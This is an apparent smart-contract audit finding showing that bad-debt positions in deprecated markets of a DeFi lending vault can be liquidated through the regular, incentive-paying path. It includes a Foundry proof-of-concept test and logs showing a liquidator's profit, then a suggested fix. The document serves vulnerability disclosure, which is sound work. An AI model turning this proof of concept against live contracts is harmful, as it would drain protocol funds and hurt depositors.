Orbiting Sangria Porpoise
Medium
When markets are deprecated in the protocol, bad debt positions can be liquidated using regular liquidation functions instead of the dedicated bad debt liquidation path. This bypasses important safeguards and allows liquidators to extract a profit, worsening the protocol's position even further.
It's important to note that in a deprecated market even a healthy borrow position can be liquidated. That situation could be attributed to user error as it may be reasonable to assume that the protocol would give enough prior warnings of the event so that users can close their positions & withdraw their deposits. BadDebt borrowers however would've no such incentive to close their position and hence the current vulnerability exists, exacerbating the harm to the protocol health.
The protocol provides two distinct liquidation paths:
- Regular liquidation - Used for positions with shortfall but sufficient collateral value. This provides liquidators with a liquidation incentive multiplier on the collateral they receive:
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint actualRepayAmount
) external view returns (uint, uint) {
....
....
/*
* Get the exchange rate and calculate the number of collateral tokens to seize:
@---> * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral
* seizeTokens = seizeAmount / exchangeRate
* = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)
*/
....
....
}- Bad debt liquidation - Used when collateral value is less than the borrowed amount. This uses a simpler percentage-based calculation with no additional
liquidationIncentive:
function liquidateBadDebtCalculateSeizeTokensAfterRepay(
address cTokenCollateral,
address borrower,
uint percentageToTake
) external view override returns (uint, uint) {
/*
* Get the exchange rate and calculate the number of collateral tokens to seize:
* for bad debt liquidation, we take % of amount repaid as % of collateral seized
* seizeAmount = (repayAmount / borrowBalance) * collateralAmount
* seizeTokens = seizeAmount / exchangeRate
*
*/
(, uint tokensHeld, , ) = CToken(cTokenCollateral).getAccountSnapshot(
borrower
);
@---> uint seizeTokens = (percentageToTake * tokensHeld) / (1000);
return (uint(Error.NO_ERROR), seizeTokens);
}However, when a market is deprecated (collateralFactor = 0, borrowing paused, reserveFactor = 100%), the code only checks this inside liquidateBorrowAllowed():
if (isDeprecated(CToken(cTokenBorrowed))) {
require(
@---> borrowBalance >= repayAmount,
"Can not repay more than the total borrow"
);
}The liquidator has no need to go through a path which internally calls liquidateBadDebtAllowed().
This allows bad debt positions to be liquidated using the regular liquidation path (via liquidateNumaBorrower() or liquidateLstBorrower()) that includes the liquidation incentive multiplier. Thus liquidator can provide a lower repayAmount than the collateral is worth and end up receiving a profit, worsening the protocol's health even further.
Run the following test with FOUNDRY_PROFILE=lite forge test --mt test_deprecatedMarketLiquidation -vv to see the following output:
Click to view
- First, add a console statement inside
liquidateLstBorrower()for easier monitoring:
function liquidateLstBorrower(
address _borrower,
uint _lstAmount,
bool _swapToInput,
bool _flashloan
) external whenNotPaused notBorrower(_borrower) {
// < existing code... >
...
...
if (_swapToInput) {
// sell numa to lst
uint lstReceived = NumaVault(address(this)).sell(
receivedNuma,
lstAmount,
address(this)
);
uint lstLiquidatorProfit = lstReceived - lstAmount;
// cap profit
if (lstLiquidatorProfit > maxLstProfitForLiquidations)
lstLiquidatorProfit = maxLstProfitForLiquidations;
uint lstToSend = lstLiquidatorProfit;
if (!_flashloan) {
// send profit + input amount
lstToSend += lstAmount;
}
// send profit
SafeERC20.safeTransfer(IERC20(lstToken), msg.sender, lstToSend);
} else {
uint numaProvidedEstimate = vaultManager.tokenToNuma(
lstAmount,
last_lsttokenvalueWei,
decimals,
criticalScaleForNumaPriceAndSellFee
);
uint maxNumaProfitForLiquidations = vaultManager.tokenToNuma(
maxLstProfitForLiquidations,
last_lsttokenvalueWei,
decimals,
criticalScaleForNumaPriceAndSellFee
);
uint numaLiquidatorProfit;
// we don't revert if liquidation is not profitable because it might be profitable
// by selling lst to numa using uniswap pool
if (receivedNuma > numaProvidedEstimate) {
numaLiquidatorProfit = receivedNuma - numaProvidedEstimate;
}
uint vaultProfit;
if (numaLiquidatorProfit > maxNumaProfitForLiquidations) {
vaultProfit =
numaLiquidatorProfit -
maxNumaProfitForLiquidations;
}
+ console2.log("\n Liquidator's NUMA Profit =", (numaLiquidatorProfit - vaultProfit) / 1e18, "ether");
uint numaToSend = receivedNuma - vaultProfit;
// send to liquidator
SafeERC20.safeTransfer(
IERC20(address(numa)),
msg.sender,
numaToSend
);
// AUDITV2FIX: excess vault profit numa is burnt
if (vaultProfit > 0) numa.burn(vaultProfit);
}
endLiquidation();
}- Now add this test inside
Vault.t.sol:
function test_deprecatedMarketLiquidation() public {
uint funds = 100 ether;
uint borrowAmount = 80 ether;
deal({token: address(rEth), to: userA, give: funds * 2});
// First approve and enter the NUMA market
vm.startPrank(userA);
address[] memory t = new address[](1);
t[0] = address(cNuma);
comptroller.enterMarkets(t);
// Buy some NUMA
rEth.approve(address(vault), funds);
uint numas = vault.buy(funds, 0, userA);
// Deposit enough NUMA as collateral
uint cNumaBefore = cNuma.balanceOf(userA);
numa.approve(address(cNuma), numas);
cNuma.mint(numas);
uint cNumas = cNuma.balanceOf(userA) - cNumaBefore;
emit log_named_decimal_uint("Numas deposited =", numas, 18);
emit log_named_decimal_uint("cNumas minted =", cNumas, 18);
// Borrow rEth
uint balanceBefore = rEth.balanceOf(userA);
cReth.borrow(borrowAmount);
// Get current borrow balance
uint borrowBalance = cReth.borrowBalanceCurrent(userA);
emit log_named_decimal_uint("borrowBalance befor =", borrowBalance, 18);
vm.stopPrank();
vm.startPrank(deployer);
// make the borrow a bad-debt
vaultManager.setSellFee(0.5 ether); // 50%
(, , , uint badDebt) = comptroller.getAccountLiquidityIsolate(userA, cNuma, cReth);
assertGt(badDebt, 0, "no bad-debt");
emit log_named_decimal_uint("badDebt =", badDebt, 18);
// deprecate the market
assertFalse(comptroller.isDeprecated(cReth));
comptroller._setCollateralFactor(cReth, 0);
comptroller._setBorrowPaused(cReth, true);
cReth._setReserveFactor(1e18);
assertTrue(comptroller.isDeprecated(cReth));
console2.log("market successfully deprecated");
vm.stopPrank();
// liquidate via "shortfall" route instead of "badDebt" route
vm.startPrank(userB); // liquidator
uint repay = borrowBalance / 2;
deal({token: address(rEth), to: userB, give: repay});
rEth.approve(address(vault), repay);
vault.liquidateLstBorrower(userA, repay, false, false); // @audit-info : smaller `repay` avoids `LIQUIDATE_SEIZE_TOO_MUCH` by ensuring `seizeTokens < cTokenCollateral`
console2.log("liquidated successfully");
}Output:
[PASS] test_deprecatedMarketLiquidation() (gas: 1630968)
Logs:
VAULT TEST
Numas deposited =: 749432.837569203755749171
cNumas minted =: 0.003747164187846018
borrowBalance befor =: 80.000000000000000000
badDebt =: 32.360563278288316029
market successfully deprecated
redeem? 0
Liquidator's NUMA Profit = 78656 ether <------------- liquidator received profit on a badDebt by calling `liquidateLstBorrower()`
liquidated successfully
Impact: High. Worsens the protocol's health even further.
Likelihood: Low/Medium. Requires an event where a market has been deprecated.
Overall Severity: Medium
Add a check that even for deprecated markets, regular (shortfall) liquidation path is not allowed for badDebt positions.